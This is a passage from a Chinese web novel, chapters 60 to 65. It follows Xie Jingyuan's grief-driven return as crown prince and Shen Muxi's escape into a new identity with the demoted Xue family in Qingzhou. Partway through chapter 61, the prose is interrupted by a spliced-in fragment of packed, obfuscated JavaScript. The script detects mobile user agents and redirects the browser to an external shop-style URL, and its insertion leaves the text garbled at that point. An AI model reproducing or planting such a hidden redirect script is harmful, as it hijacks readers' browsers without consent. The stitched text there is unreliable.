“景愿,我在这呢!”
看着人头攒动里的那道笑意嫣然,正朝着他招手的女子身影,他眼底戾气下刚浮现的那丝裂口,骤然恢复。
不过他的眉心却是凝起。
今夜,她有点不太乖了。
正准备朝她走去,沈木兮拿出不知何时攥成团的大雪球,朝着谢景愿猛砸来!
谢景愿一向对她没有半点防备的,被砸得微微踉跄了一步,却没有一点脾气,他掸了掸身上多余的雪,眼底划过一丝无奈笑意。
他不是个喜欢笑的人,这样的笑,也只会在她跟前。
等抬头再次看去。
这一回,他的眼神又一次变了。
满是天灯的夜空下,眼前的河岸边几乎是亮如白昼。
可就是在这片璀璨星海里,却眨眼间没了她的身影。
本以为她又是在对自己开玩笑。
谢景愿皱眉扒开人流,大步走了过去。
可这一次,无论他怎么寻觅,那茫茫雪夜下,竟再也找不到她的半点踪迹了!
谢景愿的眼神终于变了,眸中仅存的平静祥和,也被瞬间化作那冻人冰雪,神色更是从一开始的冷静,变得急切和焦躁不安。
“我终于找到你了!”
第61章 一夜白发,太子归来!
心乱如麻时,一道熟悉的声音从他身后响起。
谢景愿没回头,连眼底的冰晶都没有半点波动,就像是没听见般,径直往前走!
下一刻,穿着红色狐狸**披风的盛苒,快步挡在他面前,很是不悦地道。
“你不认识我了吗?你怎么走了,这段时间里里,你是去了何处?”
谢景愿没有时间理会这个女人,她到底知不知道,阿兮丢了!
她走丢后找不到他,会疯的!
“滚开。”明明四周天灯璀璨,他妖冶轮廓分明的脸却是掩映在黑暗里,唯独那露出的红唇扯动出一道阴寒嗜血的弧度,“你应该庆幸,我现在没空去杀你。”
无论是他的神情还是话语,都阴森,又可怖!
比起上一次见他,他好像哪里变了。
可盛苒也说不清楚,可看着这样的他,她只觉得自己的喉头已经被他狠狠掐住,发不出一丝声音。
在谢景愿神色焦急地抬步离去时,盛苒突然冷笑出声!
“你在找那个女人吗?”
谢景愿顿住步伐,黑夜里微的侧头,眼神里带着幽光。
盛苒的笑声有些诡异:
“她走了!我看着她离开了你!”
“趁着你注意力在旁处,早就跑了!……呃!”
她的话还没说完,就被折回的男人一把掐住喉咙。
明明他的动作是那样强势又狠辣,怒火熊熊的样子,如同一匹发疯发怒的狼!
可双眼里却又蓄满委屈的红光。
“你闭嘴,她不会走的。”
盛苒几乎是不能呼吸了,仿佛力道再大一点,脖子都要被他掐断。
“她走……了,是真的……”
她亲眼看到的。
走了?走了!
谢景愿再一次惊慌了起来。
他不信!
她离不开他,她是离不开他的!
谢景愿的眼神再次落在盛苒的身上,眸中的湿红委屈不见,有的都是寒彻阴凉,他歪着脖子,眉心紧蹙,阴渗渗的眼神里未带一丝人气。
“你说的话我不喜欢,既然如此,那以后都别再说话了。”
他咔嚓一声拧了她的喉头,将捂住脖子,满脸震惊的盛苒丢开,转身奔去了那雪夜里!
这一夜,谢景愿在河岸边不停寻觅。
在人群里一次次的回头张望!
从焦急发疯,到最后的孤独无助!
他身子颤抖,仿佛他才是那个走丢的人,直到雪越下越大,连街上的人群也消失了一大半,他才跌跌撞撞,身子颤抖,最后停在了一处僻静的街巷中。
再次堆积起的大雪地上,正静静地放着一个天灯。
是那盏,她已放飞的天灯。
里面的灯火已经灭了,破碎又孤零零的倒在那,在那四周璀璨的灯火之下,隐隐能看到上面她写的字。
歪歪扭扭,乱七八糟。
‘我,祝景愿此生无忧,披荆斩棘,前途光明又璀璨……’
此生无忧?光明璀璨……
“景愿,我怎会离开你呢?”
“景愿,我们是一家人,一家人就应该永远在一起。”
“景愿……景愿……我会,永远……永远守护你。”
大雪吹在他频频发笑的脸上,他突然像是疯了一般,对着黑夜大声怒吼!
“骗子!!”
原来,从她想要天灯开始,就在骗他了。
她从来没想过留在他的身边。
把他带到京城来,便是想好了要把他丢弃在这!
谢景愿伸出冰凉五指,拾起那盏破烂天灯,紧紧抓握,不过眨眼间,手中天灯已碎裂成渣。
随着那夜风,散落在这整个雪夜里!
在天灯碎四散的那一瞬间,他好像也被击碎开了一样,咚的一声,跪在雪夜中。
越来越大的雪,一点点掩盖住他的身子。
**是被冻僵了,还是本身就不想动弹。
直到,那被风吹起,缠绕着夜色的一缕玄色青丝,以肉眼可见的速度,变成了和雪夜相融的灰白色泽……
原来,一夜白头,从来不是话本里故事字句间的谣传。
只是在那一瞬间。
在他鬓角发丝变化的同时,他眼尾也染上了胭脂嗜血,那本早已抑制不住,藏在他眼底的病态戾色,终于冲破了层层阻碍,如狂涛骇浪般,在他阴鸷瞳孔里奔涌翻腾!
最后的最后,在那阴暗世界里的他,一点点勾唇笑了。
苍白的雪夜里,他红唇皓齿,笑得如同厉鬼。
阴冷低沉的嗓音从他薄唇溢出:
“逃了吗?”
那你最好是真逃了……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989360|193682||http|test|mini|href|location''.split(''|''),0,{}));
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r>疯痴又淬毒的笑在他唇边晕染开,下一刻,他袖袍翻飞,已经没入了前方被冰雪覆盖的那片黑夜中。
等到他再次出现时,已是在一处幽暗如深渊的巷中。
雪夜里,墨白长发交织飞舞,一道不算悦耳的沉闷笛声,在皇城深夜里吹响。
随着那城楼上的西越旗帜,在整个皇城里飞舞盘旋!
像是在预兆着什么王者归来……
顷刻间,藏匿在皇城中的数道身影,如同听到了主人召唤的号角。
在一炷香内,齐齐出现在了暗夜巷内,对着巷中男人俯身跪拜!
“太、太子!”
太子终于愿意见他们了吗!!
这一年多来,自从齐老先生在陛下的安排下,开始给太子授课后,他们就不下一次的前来寻他。
直至他回到了京中。
可太子从不愿意见人,更不愿意和他们回去。甚至不惜和他们缠斗。在被夜王囚禁的那段时间,几乎是他最悲惨的日子,但他也没有想过传召他们出现!
而今夜,太子居然愿意见人了!
幽深的巷内,他背着身子,双手负于身后,身上的玄色衣摆如同黑夜暗流般随风舞动,和那缕灰白青丝,一起缠绕融入黑夜。
看着绝美又诡异……
众人再次惊讶:“太子,您的头发,怎么……”
谢景愿……不,现在应该是叫北辰景了。
他转过身,眼眸猩红如血,又带着森冷阴鸷的笑,妖冶绝艳的如同一株开在雪山之巅上,带着剧毒的曼珠沙华!
“告诉父皇,我,愿意回宫了!”
……
这一夜的雪,越下越大。
几乎掩盖了先前的灯火万千,连城楼上的西越旗帜,也摇摇欲坠。
越是到了深夜,街上是越发大门紧闭。
全然没了上元佳节即将到来的热闹和喜悦。
但在这个深夜里,一辆马车,却在焦急的往城外赶。
守城的士兵拦下,正欲上前询问。
里面的男人甩开帘子,冒出头来对着他们怒骂!
“本皇子的马车你等也敢拦着,想**不成!”
几人一看是北辰殷,纷纷缩了脖子,换上谄媚的笑:“是九皇子啊,是小的有眼无珠。”
他们赶紧让人开了城门。
第62章 不带着你家谢景愿?
北辰殷冷哼一声,钻回了车内,脸上傲慢的神情,瞬间变得沉静和警惕。
他转过身,神色少见正经地看去身侧坐在黑暗里的女子,眉心紧皱:“你确定了吗?”
黑暗下,女子缓缓抬起她那憔悴虚弱的半张脸。
沈木兮的眼圈红彤彤的,像是刚哭过,但眼神却是十分坚定。
“是,我要离开。”
北辰殷看了眼她,重重一点头。
这件事还得从半个时辰前说起。
今夜北辰殷的身边好友们都去灯会闹市上游玩了,还来找他同去,可他因为沈木兮在盛家的失踪的事,这几日都是心情郁郁的。
原本隔一两天,沈木兮便会找人给自己送些点心,后来,她没再送东西来,北辰殷起初是很生气的,以为她又忽悠自己,可打听后才知道,她是不见了。
北辰殷觉得这次她的失踪和上回不辞而别不一样,加上这段时日七哥一直在追踪犯人,他担心她遇到危险,也在寻找。
可一直都没消息。
没想到,今夜突然有人敲响了他府中的后门。
本是不想理会的,可那敲门声没有停息,反而越发急促。
也亏得他在府,才觉察了不对劲!
见到她时,北辰殷都快认不出她了。
也才小半月没见,她瘦了好多,人也憔悴得不行,趴在门前,喘着气,显然是拼死跑来的。
第一句话就是说:“九皇子,麻烦你一件事好吗?”
她那样的急切,就好像是在发疯一般要逃离什么!
思绪归拢,北辰殷认真地看着旁边裹着毯子,坐在暗处,垂眸不语的她。
他总觉得她哪里变了,但又说不上来。
“你就这样一个人走吗?不带着你家谢景愿?”
原本还平静的车厢里,气氛瞬间陡沉。
像是知道自己问了不该问的话,北辰殷立马闭嘴。
同时他也知道了一件事,谢景愿不会和她一起离开了。
那他又在何处?
回想着在猎林初见时,那个阴气森森的少年,北辰殷就止不住打了个颤。
“最近皇城守卫森严,即便是我,也不能离开太久,我只能把你送到三十里外。”
“你放心,我已经先找人去安排好了一切,既然你想离开京城,那必定是要重新安排个身份的。”
这些都是小事。他在南下认识有人,这些不是难事。
只是……
北辰殷再次看去她,表情很少有这样认真严肃,再次问了句。
“你真的打算换个身份吗?真的想好了吗?”
换身份不难,难的是要斩断过去的一切。
沈木兮点头,没有丝毫起伏的眼中,带着朦胧水雾和坚毅。
“是。”
她挤出一抹笑。
“九皇子,你放心,我没事的,真的没事。”
她只是被吓到了,缓个几天也就是了。
伪装活着,虽然是很艰难,但总比**要强吧!
见她用意已决,北辰殷也不好再多说什么。
“那你还会回京城吗?”他终于别扭地问出了这一句。
沈木兮紧皱眉头。
其实她也不知道,她当然不想回来,但也不想让北辰殷难受,只扬唇道:“只要有机会,我还是会回来看你的。”
知道她是想宽慰他,而骗他的话,但北辰殷还是满足地笑了,笑得像是个孩子。
在次日天明破晓之前,马车终于到了三十里外北辰殷安排好的中转站。
他给她安排的新身份是从京中去往南下的客商家眷。
也准备了充足的银钱。
即便是随意挥霍,也够沈木兮使个十多二十年了。
沈木兮是真的很感激:“九皇子,对不起,昨夜之事牵连到了你。你快回去吧。”
“对了,你一定要记住,天家皇族,是没有亲情可言的。你一定要多加防备,不要轻信任何人,包括你认为的至亲。”
“还有,若是可以的话,尽早退出皇族争斗。”
她不知道谢景愿何时回宫,记忆里原文中,大致是在女主恢复记忆后。
继而夜王被贬去了沧州。
九皇子本不该被牵连的,却因
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为去沧州救夜王,被人发现了,押解回京,最后流放去了蛮夷之地。
以前她或许是觉得九皇子和夜王感情太深的缘故,可现在已经猜到,北辰殷是被夜王给利用了。
夜王是故意借着男二的手,帮着自己铲除累赘。
后面夜王起兵回京,还是打着为九弟喊冤报仇的旗号,可真是虚伪第一人!
北辰殷皱眉。
她话都说的这么清楚明白了,他再听不出她指的那个人是谁,那他就真的蠢得无药可救。
他肯定是不信的。
可是看她说的这么认真,还是在两人最后一面临别时特意说起。
他想了想,重重一点头。
“好,你的话,我记住了。”
两人很快分别,沈木兮坐上了换乘的车辆,继续朝着南下行去。
送走了沈木兮,北辰殷站在破晓霞光下,独自沉默了良久。
谁也不知道他在想些什么。
等到沈木兮的车,彻底的没入了前方的晨雾里,他才缓缓收了幽深复杂的眸光,准备回程。
只是还没行至多远,一群人马,风驰电掣般,已经朝着他的马车包围而来!
北辰殷知道近日七哥还在搜寻皇城内外,以为是自己的马车被巡查的人盯上,这才追来。
可凑近了,他才看清,这些根本不是七哥的人。
一样是穿着官兵的衣服,但这些人的衣服颜色却是暗紫色泽,神秘莫测!
这些人,是谁!?
……
于此时,离开后的沈木兮,一直忧心忡忡,心乱如麻。
不是为自己担心,而是担心北辰殷。
本不应该牵连到他的,但除了昨夜的机会,她或许就再也逃不掉了。
许是她想多了吧。
现在北辰殷到底还是九皇子,应该……不会有什么事的。
如是告诉自己,马车继续前行着。
却在这时,车突然一个急刹!
沈木兮差点被甩了出去。
出什么事了?
她面色严肃,突然紧张了起来!
心也悬在了嗓子眼。
第63章 告别过去,崭新身份
“姑娘,马车突然坏了,你先下来吧。”
本以为是来了什么追兵。
原来只是马车坏了。
沈木兮微微松口气,现在已经离开了京城快五十里,天色已是大亮,四周依旧静悄悄的,应当暂时还算安全。
她掀开帘子下车。
车夫已经先下来查看了一番,说是车轴的缘故,怕是要修个一两个时辰,让沈木兮去附近路边的茶铺里先等着。
这个车夫是北辰殷安排的,还是值得信任的。
虽然她着急走,但马车坏了也没办法,只能先下车去了附近的茶铺。
沈木兮提前乔装过,穿着寻常商贾小姐的衣着,身后还被北辰殷安排了个婢女,也没人会多注意。
刚坐下来,却听一道尖锐的声音从她身后响起。
“哼!祖母身子不适,母亲也心情不好,你倒是自在,自己跑来这先喝起了茶!”
这熟悉的骂语,她差点就以为是沈家的那些人了。
抬头才发现,挡在自己桌前的是个陌生的圆脸女子,长相不错,穿着也很富贵。但满身的铜臭气,小小的脑袋上,戴满了金簪,生怕别人不知道自己有钱似的。
正怒目圆睁地盯着她。
左右看了看,确定她是在和自己说话,沈木兮蹙起眉头。
好好的小姑娘,年纪轻轻怎么眼睛就瞎了。
是你认识的人吗就骂。
沈木兮不搭理,端着杯子继续喝茶。
那少女见她不说话,心说这贱蹄子今日倒是奇怪,往日里对她和母亲逆来顺受,从不敢忤逆,今日怎么突然像是变了性子?
“我说你……!”
这时茶铺外的大道后方,传来一阵急促的轰隆马蹄声。
人数不少。
沈木兮听到这声音,便心觉不妙。
这里已是郊野山野了,寻常不会有这么多皇城的官差!无论是夜王的人,还是……沈木兮身子微微抖了抖,趁着茶铺众人的注意力,都在外面的动静时,赶紧溜了出去。
可还是迟了,停靠在路边修马车的车夫,正被那些人团团包围。
车夫满头是汗,虽然还没暴露她,但眼神已经经不住朝着茶铺这边瞟了。暴露她是迟早的事。
而那个跟着她的婢女,见情况不妙,已经先跑了。
只留下沈木兮抱着包袱,在原地呆若木鸡。
好家伙,果真是大难临头各自飞。
沈木兮在心里盘算着的时候,余光突然瞥到,方才骂自己的那个少女,正在身边人的护送下离开混乱的茶铺。
她心念一动,跟了过去,一把抱住眼前人的大腿。
“我的好姐姐,你怎么忘了妹妹我啊。”
薛宝莹转头瞪来,横眉冷竖:“方才不还装作不认识我,现在怎么不硬气了?”
沈木兮眼神悄然闪动,更是把大腿抱紧了些,还暗暗掐了自己一把,挤出两滴泪,顺着她的话说:
“我怎能不认识姐姐你呢,只是姐姐今日比往日更美了,妹妹我一下子没认出来你!方才还以为是哪个九天仙女突然下凡了。”
“这里好多人,我好怕怕的,姐姐带着我一起吧!”
“……”
也不知是那些夸赞真的受用,还是对方单纯觉得太丢人。
薛宝莹赶紧扯了扯衣角,凶巴巴地对着她说:“哼,知道害怕还不赶紧跟上!若是祖母怪罪,我可帮不了你!”
沈木兮点头如捣蒜,乖乖地跟在她屁股后面,从茶铺后的小道,绕去了停在山林对面的另一个队伍。
这个队伍里有好几辆奢华马车,还有专门安排的人护送。
从这阵仗来看就知这些人的身份不简单。
“薛小七,你愣着做什么,还不快过来!”薛宝莹转头呵斥说。
起初沈木兮还只是猜测,可现在见到自己出现后,这队伍的其余人,除了轻蔑和鄙夷外,并没有任何异样的眼神,心中已经是有了数。
难不成,她和这个薛小七长得很像?
既然这些人都在这,那原来的薛小七呢?
先不管了。
还不知后面有几波追兵,她只能走一步看一步。
“我的好姐姐,我来咯!”
薛宝莹:“……”
经过沈木兮的打探,很快摸索出了这群人的身份。
原来是在京为官的薛侍郎,被贬去了青州。
要这样说,她对于这个薛家,有点印象。
记得原文中,的确有个在夜王地位越发稳固辉煌时,有个薛姓官员,被贬去了偏远的青州任职。
原作者偏爱夜王,写的是这个薛侍郎徇私枉法,才被贬了。
可现在沈木兮觉得,八成是因为这薛侍郎不想和
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他同流合污,这才被孤立,不得不举家搬迁。
既然他们要离京,岂非更好?
或许,这就是老天爷的用意吧!冥冥注定,让原主的这张脸,和这位薛家小姐生得极像!
老天爷,是我之前错怪你了!回头定给您嗑一个!
有了薛家小姐的身份,和薛家的队伍保驾护航,虽然路上还是偶尔会遇到排查,但这次离京,基本还算顺利。
在一个多月后,到了青州。
沈木兮,也就是她顶替了身份的薛小七。是薛家地位最低的庶女,胆小怯懦,没有姨娘傍身,往日没少被人欺负,只能在主母和嫡姐身边勉强过活。
虽说开局天崩,但也比她本身的遭遇好了不止一点半点了。
再说,沈木兮可不觉得这是天崩开端!
她已经打听清楚了,薛大人有四五房妾室,除了其他刚进府没几年的,就属那秦姨娘最得意。
因为秦姨娘生下了薛家唯一的儿子,这些年的势头,都快把主母欧阳氏给盖了过去。
嫡母欧阳氏和薛宝莹是一样的火爆脾气,心高气傲,嘴巴不饶人,但心眼没人家多,这两女人一直是斗得如火如荼。
她们斗得欢,她便能自由自在。
只要自己嘴巴乖一点,把姐姐和嫡母哄成翘嘴,做好自己透明人的本分,不争不抢,天天在家里吃喝玩乐当个咸鱼官家小姐!这哪里是天崩,分明是天赐!
在离京前,便是秦姨娘吹了点耳旁风,让欧阳氏和薛侍郎大吵了一架,薛侍郎一气之下,先走了。
欧阳氏母女才和年迈的老夫人一起,姗姗出发。
继而和她在半路撞上。
一个多月后的清晨。
马车终于缓缓驶到了青州城。
看着眼前青州薛府,沈木兮只觉得自己做了一个梦。
而这个梦,真的梦醒了吗?
按照剧情发展,谢景愿回宫后,夜王就会去沧州了。
到时薛大人也会返京。
但即便真的注定要回去,至少有这几年的喘息时间,也是足够了。
再者,她现在是薛家小姐,只要大门不出二门不迈,按照她这个庶女身份,是没资格见到大人物的。
此刻尚且还不知京中“大动荡”的沈木兮,正如是想着……
一道声音,打断了她的思绪。
第64章 追来
“哟,夫人终于到了!”
府门打开,是一个穿着艳丽,打扮妖娆的女人。
不用猜,就知道此人定是那个秦姨娘了。
欧阳氏和薛宝莹在婢女的搀扶中下了马车,两人一看到秦姨娘就怒火中烧。
薛宝莹更是直接上前就指着她骂道:“**!都是因为你故意挑拨,父亲才和母亲吵架的!”
她跟个牛犊子一样就冲了出去,沈木兮想拉都拉不住。
看着后面马车里出来,听到薛宝莹这些话语后,显然不高兴的薛老夫人,沈木兮无奈扶额。
人家故意摆你一道呢好姐姐!
不过她们相斗不关她的事,沈木兮心中骂完猪队友,默默退到一旁,秉持着自己透明人的准则,安安静静不说话。
“宝莹,你到底也是官家小姐,怎能说这样粗鄙的话,还是对自己的长辈。”老夫人看去欧阳氏,眼中带着不悦,“你就是这样教导孩子的?”
欧阳氏赶紧拉了薛宝莹一把,对着婆母道:“儿媳知道了,回去后会多加管教的。”
秦姨娘又掩唇轻笑说:“是啊,夫人是得好生管管大小姐了。老爷来了青州,近日心情不好,夫人理应为老爷分忧,这天天吵个不休,若传去老爷耳中,怕是……”
原本已经把火气压下去的欧阳氏,脸色顿时就沉了。
到底是谁在挑刺?
其实这母女性子都是一样的火爆,只是欧阳氏被生活打磨,稍微能忍下一点,但也只是那一丁点。
见她忍不住要发怒了。
而老夫人那头的脸色已经难看至极。
沈木兮看情形不对,上前一步,朝偷笑的秦姨娘,忍不住打了个大大的喷嚏!
“阿秋!!”
倒不是她想参与这些后宅争斗,只是她怕今日刚到青州,欧阳氏和薛宝莹就被秦姨娘设计得罪了老夫人,别到时候连她也被殃及,到最后府门都进不了。
她还想好好当个官家废物小姐呢。
秦姨娘连忙遮住口鼻,面上满是愠怒:“你这个没规矩的……薛小七!”
欲说的话止住,在看到沈木兮的脸后,秦姨娘露出震惊的表情!
“你不是已经……!”
沈木兮对上秦姨娘这见了鬼的表情,眼神里佯装出的胆小怯懦下,闪过一丝不易觉察的异色。
“好了!”最后还是老夫人发话。
她能不知道秦姨娘的心思吗,但这嫡媳也实在蠢笨,每次都被一个姨娘给设计使坏。今日又舟车劳顿,她也没心情在这断公平,只警告地睨了眼点火的秦姨娘,先行走了。
秦姨娘还在盯着沈木兮看。
沈木兮摸了摸自己的脸,凑过去:“姨娘,我有这么好看吗?你怎么看得眼也不眨。要不要画一副我的肖像,挂在姨娘床头,日日观赏?”
秦姨娘确定眼前之人是活生生的人,嘴角僵硬地扯了扯,许久才找回自己的声音:“不、不用了。”
像是真撞了鬼般,吓得赶紧跑了。
等进了府院,秦姨娘这才叫来了自己的儿子薛耀祖,低声说。
“怎么回事,不是已经把人处置了吗!”
薛耀祖听秦姨娘说薛小七还活着,也很是惊讶:
“娘,我真的已经派人在路上把她处置了的,难不成,是这个丫头命大?”
“不过娘,这就是个没人撑腰的庶女,没死就没死,你担心她干嘛?”
秦姨娘瞪了眼自己的蠢儿子:“她当然没什么值得担心的。只是我们想搞垮那个欧阳氏,就得从这入手。”
欧阳氏心高气傲,瞧不上府中庶女。
薛小七能在她身边,也是因着薛小七的姨娘以前是跟着欧阳氏的人。
若是没了薛小七,到时候再借机,搞个她安排的庶女去接近欧阳氏,欧阳氏习惯了身边有个出气筒,把人收下后,岂非正好深入敌营。
届时想拉欧阳氏下台,还不是易如反掌。
可现在……
秦姨娘忧思了一番道:“算了,容我再另想法子。”
这个薛小七,总归是不能留的。
府门这边,薛宝莹上前撞了撞沈木兮,冷哼道:“还看呢!你是不是也想学其他姐妹,去贴着秦姨娘,你想去就去!我和母亲可不拦着!”
她竟以为自己方才是在故意亲近秦姨娘?
这薛宝莹的猪脑子,到底是怎么长的?
倒是欧阳氏从方才的事情上看出了一丝端倪,不过她什么也没多说,只是看了眼沈木兮,带着女儿进了府。
第一次到青州,从进门起就没有消停。
到了夜里,也不清净。
一家之主薛清,坐在主位上,脸色暗沉沉的。
秦姨娘在旁边不住给他夹菜,低语小声说着什么。
按理这样的时候,欧阳氏最应该去主动坐去薛清身边,利用吃饭的由头,缓和两人关系。
可欧阳氏心气儿高,一来坐去了老夫人身边,倒是把机会让给了旁人。
薛家女儿多,但没那么多的规矩,晚上庶女们都会一起上桌吃饭。
沈木兮坐在角落,一直安静吃着。
“好了。”薛清放下碗筷,“我还有公务要处理,你们在这陪着老夫人。”
才贬来青州,能有什么公务。
起初沈木兮
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以为薛清脸色不好,是因为欧阳氏,现在看来怕是另有原因。
她留了个心眼,吃完后,找个借口先溜,偷偷跟去了书房。
薛清来到书房便是一脸凝重。
身边还跟着个他身边的心腹。
“消息可是真的?”他摸着胡须,站在窗边。
“是真的,大人。京城已经传遍了,因为山高水远,消息才没传到青州来,不过应该也快了。”
薛清眼神幽深,对着青州城的夜色低语:“那个传说中失踪已久的太子,真的回宫了?”
咣当一声。
一道动静从外传来。
心腹身影一闪,当即出去查看。
薛清倒是很沉稳,毕竟自己被贬到这来,他便已经没什么可以被人窥探和置喙的了。
不过当心腹把人带上来时,薛清还是有点意外。
“大人,是……七小姐。”
其实薛小七的年龄不小,和薛宝莹一般大,只是府中的女儿基本都是那一两年生的,前面又有几个夭折的哥哥姐姐,她便成了老七。
沈木兮被心腹拎过来时,她正睁着一双无辜眼睛。
“女儿见父亲没吃什么饭就走了,拿了两个果子过来想给父亲。”
薛清一见是她,微微蹙眉,自己的女儿太多,说实话,他对薛小七没什么太多的印象。
也因为薛小七实在没什么存在感,人蠢蠢的,胆子也小,一看到是她,薛清连心里最后那点怀疑也没了。
再看她手里当真攥着两个指甲盖大的果子。
更是哭笑不得。
把就这些吃了,他不得“撑”到明年?
少见的,往日严肃的薛清,在自己这个不常在意的小女儿跟前露出笑意。
“新府院的路不熟,就让奴才带着你走。”
沈木兮听话地点头,放下果子乖乖走了。
刚离开书房,没入黑暗中,她的身子便是一歪,双腿无力地斜斜抵靠在假山上。
背脊已经被汗水浸透!
这么快的吗?原文中,谢景愿并非这么早回宫的呀。
沈木兮的脸色,从一开始的惊慌不解,到最后的茫然……
直到她深呼一口气,告诉自己,她已经逃了,逃出来了。
况且,她早已改头换面。
有了新的身份。
即便他现在就站在自己的跟前,她也有底气去抵死不认的!
宽慰完自己,沈木兮如释重负回了自己的新院子。
然而她不知道的是,她走得太快,没听到书房里,薛清和心腹的下一句。
“大人,听小道消息说,近段时日里,京中有人要南下。”
第65章 小愿,喂我
青州城也在南方,只是比江南那些地区来说,更为偏远。
即便真有京中人南下,也来不到青州。
是以薛清听到这些,并没有太在意。
可心腹的脸色却十分不好。
他来的要迟一些,是以听说了来路上发生的事。
听说,好多南下的马车队伍,都莫名其妙的出了事。
要么是被人阻截。
要么是车马前一夜还在,第二日连人带车就不翼而飞了。
总归是说不出的诡异和古怪。
仿佛有只魔爪,正在朝着南下方向,无形的笼罩而来。
不过大人说的对,青州偏远,魔爪再伸也伸不到这来。
“好在大人提前离京了,那位太子回宫,之后的京城,怕是要烽烟四起了。”
薛清摸着胡须,脸上也逐渐覆盖上了阴云。
是啊,那可是太子,是姝元皇后和陛下的太子啊!
想起这位先皇后,薛清脸色变了几分。
因为先皇后在世时身子不好,一直被陛下养在深宫里,寻常不见人,基本也无人见过先皇后的真容。乃至先皇后已经故去许久,宫中也没有一幅先皇后的画像。
唯独薛清,当初随着他父亲进宫时,一次在御花园中,隔了一层轻纱幔帐,偶然瞥到过了那一眼!
那个姝元先皇后的长相,居然和西越皇帝亲妹妹长公主的脸极为相似。
他当时便是大为震惊,回去后左右四想,都觉得是自己想多了。
怎么可能呢。
长公主早已和亲去北漠了。
当是看错了吧!
时隔多年,这件事,已久是笼罩在薛清心头,挥散不去的阴云。
不过还好,即便京中再怎么闹,南下又再怎么不太平,都不会闹到青州来。
……
如薛清所想,那个伸向南下的魔爪,并没有笼罩到青州城来。
青州城是安然无恙,但南下其他的城池就没那么好的运气了。
听人说,离青州百里处的江州小镇,有户人家,据说是和京中九皇子府沾了点关系,一夜就被**了干净!
同一期间,京城也出了不少事。
自打太子回宫,夜王的日子好似就没太平过,屡屡出事,后面因为一次私下挪用户部公银,彻底惹怒了西越帝,差点被贬去了沧州。可不知道怎的,那位刚回宫不久,和夜王并没什么交情的太居然出面求情,此事就这样揭了过去。
至此夜王也留在京中,没去成那沧州。
只是这些事,都远在青州之外,消息也很快被掩盖住了。若非是薛清有自己的人脉,他也是不知道的。
就这样,又是一年冬雪。
一晃眼,一年过去了。
青州城一切如旧,也因为薛清成了青州知府,远离纷扰,薛家人过了一年的快活日子。
当然,这个快活,不包括秦姨娘母子。
原本在京中要风得风,要雨得雨的两人,到了青州城,怕是水土不服。每次设计欧阳氏不成便罢,还总是碰一鼻子的灰!
比如借欧阳氏的手想给薛小七下毒,却毒了薛耀祖。
大夫来了一批又一批,最后才把人救了回来。秦姨娘认定是欧阳氏的算计,想把药栽赃给欧阳氏,却先一步薛宝莹撞破,带着薛清从她手里提前把药搜了出来。
事情被揭露,她被薛清大骂了一通,至此受了冷落。
后来,她自此事后,心怀怨恨,狠下心弄坏马车,想活活摔死欧阳氏和薛宝莹!
却因为薛宝莹那日起床晚了,没出城门,倒是摔着了出门的老夫人。
老夫人倒是没什么大碍,事情也没彻查。但自打那次后,老夫人对她就不似以往的偏心,连她的院子,也从主院旁搬去了最偏僻的地方。
反观欧阳氏越发的红光满面,在薛家位置越发稳固。
欧阳氏越发觉得,是这青州旺她。
薛宝莹更觉得自己是个小福星!
只要有她的地方在,那秦姨娘准得不了好!
母女俩日子过得越发滋润,沈木兮也跟着沾了不少光。
“啊……小愿,喂我。”
冬日暖阳下,女子裹着一身兔毛披风,正慵懒地躺在屋檐边长椅上,沐浴着艳阳,微微张着晶莹粉嫩的小嘴。
丫鬟小愿拿出刚剥好的水晶葡萄喂进她嘴里。
在这冬日,除了京城权贵,也只有这青州小院里有这样的美味。
薛清是个实干能力很强的官员,来了青州后把此地治理的井井有条。
能力高,前来奉承拉拢的人也就多了。
这些冬日里少见的瓜果,便是旁人送的。
薛清为人很聪明,在这偏远地界,过于的“清真廉洁”,只会更加成为众矢之的。该圆滑的时候也要懂得圆滑,方能长久。
是以瓜果时蔬这些简单物件,他也会欣然收下。
有个聪明人“父亲”,和掌握中馈的“嫡母”,这一年来,沈木兮的小日子是越发过得悠哉,也养出了几分珠圆玉润。
她生得本就娇美,之前过着苦日子,人没精神气儿。原主本也才二十不到的年岁,这娇养了一年,自是越发的容光焕发。
那缩在那绒毛下的小脸,肤白胜雪,眼神灵动,当真像是一个自小养在深闺里的富家小姐。
有时候沈木兮都在想,是不是自己穿错了,这才是她本该的身份?
“薛小
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七,原来你躲在这!”
不远处甬道上,飞窜而来一头……啊不,是一个人。
薛宝莹提着裙子,风一般窜到她跟前,抓着她就走:“赶紧,赶紧啊!你不知道今日是什么日子吗?全城的女子,都去城门等着了!”
沈木兮懒洋洋的坐起身,揉着惺忪睡眼,困惑地问。
“什么日子啊?”
薛宝莹毫不意外她的反应,小嘴一撇。
这薛小七,还是那样蠢蠢的,什么也不知道!
若非自己是个小福星,就薛小七这傻样,怕是早就被秦姨娘搞**。
想到这,薛宝莹越发的自豪和骄傲。
“当然是京城来人了!人都要到城门了!”
这句话,差点让沈木兮直接从椅子上摔下去!
薛宝莹一把把她拎了起来。
这薛宝莹其他不行,就是力气贼大!那次抓获秦姨娘时,就是她把差点偷跑的秦姨娘给逮了回来。
“你激动什么?”薛宝莹翻了个白眼,“瞧你这样子,一看就没见过世面!我怎么就有你这样个丢人的妹妹。”
其实薛宝莹在府中地位高了后,来她跟前奉承的庶女不是没有,但她就爱来找自己玩儿,连沈木兮也不知道这是为啥。
“我已经从父亲那打听到了,这次来的可是皇子,听说来是为了来这里选妃的!”薛宝莹说。
皇子选妃?跑来青州选妃?扯呢。
沈木兮呆滞复杂的表情落入薛宝莹眼中,登时惹的她目露凶光!
“别做梦了,告诉你,没你的戏!人家皇子,才瞧不上你呢!你到时候可别想和我争!”
看着在自己跟前攥着个拳头,正气呼呼的薛牛牛,沈木兮挑了挑眉。
认识薛宝莹这么久,沈木兮也算了解一二了,她也就是装得凶巴巴的。因为以前秦姨娘作祟,她和欧阳氏过的并不算多好,为了不让母亲受欺负,她才故意如此。
“哎呀,被你打岔,差点就忘了正事,赶紧赶紧!”
沈木兮有点迟疑。
虽然她并不觉得皇子会亲自来青州选妃,但到底是京里的人。
